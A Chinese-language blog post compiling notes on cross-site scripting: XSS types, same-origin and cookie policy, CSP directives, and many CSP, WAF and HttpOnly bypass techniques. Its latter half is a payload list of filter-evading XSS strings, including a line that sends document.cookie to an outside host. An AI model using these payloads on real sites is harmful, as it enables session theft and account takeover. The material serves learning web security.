XSS知识梳理

把看到的XSS相关的知识做了一些搬运和整理,但XSS技术学习尚不够深入,不定期更新补充或重构本博客
XSS简介
跨站脚本(Cross-Site Script)为避免与CSS混淆,被叫做XSS,是一种网站应用程序的安全漏洞攻击,属于代码注入攻击的一种。XSS的本质就是通过代码注入让一个正常网站变成恶意网站,从而实现借助他人网站这一载体对网站的其他访问者进行攻击的恶意行为。这些恶意行为包括但不限于
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
尽管为了限制XSS攻击人们采取了同源策略,为cookie提供了HTTPOnly属性且大幅减少了ActiveX等不安全前端语言的使用,并且浏览器大多有着自己的XSS过滤器,但XSS攻击仍然具有极大的危害性。
XSS分类
反射型XSS
反射型XSS通常是指恶意代码未被浏览器存储,将恶意代码通过GET/POST方法提交出发漏洞的攻击方式。典中点的反射性XSS就是一个URL链接,为了防止被人发现URL不对通常会对参数的值进行URL编码进行混淆,当受害者点击这个链接的时候恶意代码以GET方式提交,触发漏洞实现攻击。例如服务端存在
1 | echo "<p>hello,$_GET['user']</p>"; |
这样的语句时,访问时带上/?user=</p><script>alert("hack")</script><p>
就成功的进行了一次反射型XSS。不过反射型XSS通常需要受害者去点击才能出发,且受到XSS Auditor、NoScript等
防御手段的影响较大,危害性比较小
持久型XSS
持久型XSS会使得XSS代码储存在服务器中,访问网页时会直接触发,造成持久化的攻击,因此危害性会比较大
DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的,例如对于这样一个页面
1 | <html> |
在输入框中输入x' onerror='javascript:alert(/xss/)
即可触发XSS攻击
其他场景
正如文件后缀名决定了系统如何处理一个文件一样,决定一个文件是否会被浏览器解析为HTML代码的关键是HTTP响应头中的元素Content-Type的字段。无论上传的文件是以什么后缀被保存在服务器上,之邀访问上传的文件时返回的ContentType字段是text/html,就可以浏览器解析并执行,哪怕是flash文件的application/x-shockwave-flash也可以执行XSS。对于部分浏览器,空的和畸形的Content-Type字段也会被默认当成HTML内容进行解析
XSS的反制手段
同源策略
同源策略简介
如果两个URL的协议,域名和端口相同,那么我们认为这两个URL同源。同源策略即在同一个源中加载的文档或脚本默认只能与同源下的资源进行交互,而不能与来自其他源的资源进行交互。对于有跨源需求的Web应用,常采用的技术方案包括但不限于JSONP(JSON with Padding)、CORS(Cross-Origin Resource Sharing)、基于代理的跨源请求、HTML5新特性(如使用 postMessage 方法实现跨窗口通信、使用 window.name 实现跨页面通信等)。
file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件
cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(publicsuffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure
和http-only
标记来限定其访问性。
Domain 属性:指定了哪些域名可以访问该 Cookie。默认情况下,如果未指定 Domain 属性,那么只有设置该 Cookie 的域名可以访问它。如果指定了 Domain,那么该 Cookie 将可用于指定域名及其子域名。例如,假设有两个域名:example.com 和 blog.example.com。如果一个 Cookie 设置了 Domain 为 .example.com,那么这个 Cookie 可以在 example.com 和其所有的子域名(如 blog.example.com)下访问。
Path 属性:定义了哪些路径可以访问该 Cookie。默认情况下,如果未指定 Path,那么只有设置该 Cookie 的页面所在路径可以访问它。如果指定了 Path,那么该 Cookie 只能在指定的路径及其子路径下才能被使用。例如,如果一个 Cookie 设置了 Path 为 /blog,那么这个 Cookie 只能在以 /blog 开头的 URL 路径下使用,如 /blog/article 或 /blog/category,而不能在其他路径下访问。
Secure 属性:指示浏览器仅通过安全(HTTPS)连接发送该 Cookie。如果设置了 Secure 属性,浏览器只会在通过 HTTPS 协议访问网站时才发送该 Cookie。这样可以保护敏感信息不被在非安全连接中传输。例如,如果一个 Cookie 设置了 Secure 属性,那么只有在通过 HTTPS 访问网站时,浏览器才会将该 Cookie 发送给服务器。如果使用普通的 HTTP 连接,则该 Cookie 不会被发送。
HttpOnly属性:表明该Cookie禁止JavaScript访问,只用于发送HTTP请求
也就是说,cookie采取的同源策略是:cookie的作用域只取决于domain和path,不取决于协议和端口,所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。
源的更改
由于同源策略认为域和子域属于不同的域,因此我们需要在两个域各自设置document.domain='example.com'
来改变其源实现两个界面之间的通信,另外因为浏览器单独保存端口号,我们对源的修改赋值会导致端口号被重写为null.因此 example.com:8080 不能仅通过设置 document.domain = “example.com” 来与example.com 通信。必须在他们双方中都进行赋值,以确保端口号都为 null 。哪怕双方是子域与父域的关系
跨源访问
同源策略控制不同源之间的交互,例如在使用 XMLHttpRequest 或 <img>
标签时则会受到同源策略的约束。这些交互通常分为三类:
跨域写操作(Cross-origin writes)一般是被允许的
- 链接
- 重定向
- 表单提交
跨域资源嵌入(Cross-origin embedding)一般是被允许
跨域读操作(Cross-origin reads)一般是不被允许的,但常可以通过内嵌资源来巧妙的进行读取访问
<script src="..."></script>
标签嵌入跨域脚本。语法错误信息只能被同源脚本中捕捉到<link rel="stylesheet" href="...">
标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的 HTTP 头部 Content-Type ,不同浏览器有不同的限制<img>
、<video>
和<audio>
嵌入的多媒体资源@font-face
引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)<object>``<embed>
和<applet>
的插件通过
<frame>
和</frame><iframe>
载入的任何资源。站点可以使用X-Frame-Options
消息头来阻止这种形式的跨域交互
CSP
简介
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生
配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
例如:
1 | HTTP header : |
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
1 | HTML Meta : |
指令说明
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 audio、video 等引用资源加载策略 |
object-src | 定义 applet、embed、object 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 base 根URL策略,不使用default-src作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
关键字
-
- 允许从任意url加载,除了
data:
blob:
filesystem:
schemes
- e.g.
img-src -
- 允许从任意url加载,除了
none
- 禁止从任何url加载资源
- e.g.
object-src 'none'
self
- 只可以加载同源资源
- e.g.
img-src 'self'
data:
- 可以通过data协议加载资源
- e.g.
img-src 'self' data:
domain.example.com
- 只可以从特定的域加载资源
- e.g.
img-src domain.example.com
\*.example.com
- 可以从任意example.com的子域处加载资源
- e.g.
img-src \*.example.com
https://cdn.com
- 只能从给定的域用https加载资源
- e.g.
img-src https://cdn.com
https:
- 只能从任意域用https加载资源
- e.g.
img-src https:
unsafe-inline
- 允许内部资源执行代码例如style attribute,onclick或者是sicript标签
- e.g.
script-src 'unsafe-inline'
unsafe-eval
- 允许一些不安全的代码执行方式,例如js的
eval()
- e.g.
script-src 'unsafe-eval'
- 允许一些不安全的代码执行方式,例如js的
nonce-<base64-value>
- 使用随机的nonce,允许加载标签上nonce属性匹配的标签
- e.g.
script-src 'nonce-bm9uY2U='
<hash-algo>-<base64-value>
- 允许hash值匹配的代码块被执行
- e.g.
script-src 'sha256-base64-value'
Bypass
预加载
浏览器为了提升用户体验与浏览器工作效率,会执行预加载,即利用浏览器空闲时间与加载指定内容并缓存。而HTML5页面的预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
1 | <!-- 预加载某个页面 --> |
另外,不是所有的页面都能够被预加载,当资源类型如下时,将阻止预加载操作:
- URL中包含下载资源
- 页面中包含音频、视频
- POST、PUT和DELET操作的ajax请求
- HTTP认证
- HTTPS页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了chrome developer tools开发工具
MIME Sniff
如果csp禁止跨站读取脚本,却没有禁止跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>
,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本
302跳转
对于302跳转绕过CSP而言,实际上有以下几点限制:
- 跳板必须在允许的域内。
- 要加载的文件的host部分必须跟允许的域的host部分一致
iframe
当可以执行代码时,可以创建一个源为 css
js
等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../
/%2e%2e%2f
等可能触发服务器报错的链接也可以到达相应的目的
base-URI
当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://example.com/main.js,`
其他Bypass
- location 绕过
- 可上传SVG时,通过恶意SVG绕过同源站点
- 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
- CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
- Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
- jQuery sourcemap
document.write(`<script>//@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);
- a标签的ping属性
- For FireFox
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
<link rel="import" />
<meta http-equiv="refresh" content="0; url=http://...." />
- 仅限制
script-src
时:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
X-Frame
X-Frame-Options 响应头有三个可选的值:
- DENY
页面不能被嵌入到任何iframe或frame中 - SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中 - ALLOW-FROM
页面允许frame或frame加载
XSS过滤器
基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
- 0 : 表示关闭浏览器的XSS防护机制
- 1 : 启用 XSS 过滤。如果检测到XSS攻击,浏览器将删除不安全的部分, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
- 1; mode=block : 启用 XSS 过滤。如果检测到攻击,浏览器不会清除XSS代码,而是阻止页面加载XSS代码
- X-XSS-Protection: 1; report=
:启用 XSS 过滤。如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri指令的功能发送违规报告
FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
XSS Tips and Bypass
WAF Bypass
- 利用<>标记
- 利用html属性
- href
- owsrc
- bgsound
- background
- value
- action
- dynsrc
- 关键字
- 利用回车拆分
- 字符串拼接 eg. window[“al” + “ert”]
- 利用编码绕过
- base64
- jsfuck
- String.fromCharCode
- HTML
- URL
- hex
- window[“\x61\x6c\x65\x72\x74”]
- unicode
- utf7
- +ADw-script+AD4-alert(‘XSS’)+ADsAPA-/script+AD4-
- utf16
- 大小写混淆
- 对标签属性值转码
- 产生事件
- css跨站解析
- 长度限制bypass
- eval(name)
- eval(hash)
- import
- $.getScript
- $.get
- .
- 使用 . 绕过IP/域名
- document[‘cookie’] 绕过属性取值
- 过滤引号用
`
绕过
HttpOnly Bypass
- 在cookie为httponly的情况下,可以通过xss直接在源站完成操作,不直接获取cookie。
- 在有登录操作的情况下,部分站点直接发送登录请求可能会带有cookie
- 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
- 低版本浏览器支持 TRACE / TRACK,可获取敏感的header字段
- phpinfo 等页面可能会回显信息,这些信息中包含http头
- 通过xss劫持页面钓鱼
- 通过xss伪造oauth等授权请求,远程登录
CSS 注入
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式
Script Bypass
https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations
RPO攻击
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异
Payload
常用
<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
大小写绕过
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
各种alert
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
伪协议
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
Chrome XSS auditor Bypass
?param=https://¶m=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
长度限制
1 | <script>s+="l"</script> |
jquery sourceMappingURL
1 | </textarea><script>var a=1//@ sourceMappingURL=//xss.site</script> |
图片名
1 | "><img src=x onerror=alert(document.cookie)>.gif |
css
1 | <div style="background-image:url(javascript:alert(/xss/))"> |
markdown
1 | [a](javascript:prompt(document.cookie)) |
iframe
1 | <iframe onload=' |
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/onload=alert(1)>></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe
form
<ul class="simple">
<li><code class="docutils literal notranslate"><span class="pre"><form</span> <span class="pre">action=javascript:alert(1)><input</span> <span class="pre">type=submit></span></code></li>
<li><code class="docutils literal notranslate"><span class="pre"><form><button</span> <span class="pre">formaction=javascript:alert(1)>M</span></code></li>
<li><code class="docutils literal notranslate"><span class="pre"><form><input</span> <span class="pre">formaction=javascript:alert(1)</span> <span class="pre">type=submit</span> <span class="pre">value=M></span></code></li>
<li><code class="docutils literal notranslate"><span class="pre"><form><input</span> <span class="pre">formaction=javascript:alert(1)</span> <span class="pre">type=image</span> <span class="pre">value=M></span></code></li>
<li><code class="docutils literal notranslate"><span class="pre"><form><input</span> <span class="pre">formaction=javascript:alert(1)</span> <span class="pre">type=image</span> <span class="pre">src=1></span></code></li>
</ul>
meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
XSS持久化
基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
on事件
img标签
HTML5特性的XSS
HTML具有的一些特性也会有交互的发生
伪协议与XSS
javaScript伪协议,即把javascript:
后的内容当作JavaScript代码在当前页面执行,例如<a href="javascript:alert(1)">click</a>
二次渲染XSS
Reference
- Title: XSS知识梳理
- Author: 7erry
- Created at : 2023-08-01 00:00:00
- Updated at : 2023-08-01 00:00:00
- Link: http://7erry.com/2023/08/01/XSS知识梳理/
- License: This work is licensed under CC BY-NC 4.0.